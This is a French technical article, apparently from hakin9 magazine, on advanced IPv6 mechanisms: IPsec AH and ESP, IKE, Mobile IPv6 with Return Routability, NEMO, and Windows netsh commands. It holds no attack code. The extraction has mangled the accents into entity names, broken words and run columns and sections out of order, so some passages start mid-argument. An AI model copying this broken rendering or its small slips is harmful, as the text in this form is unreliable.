Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

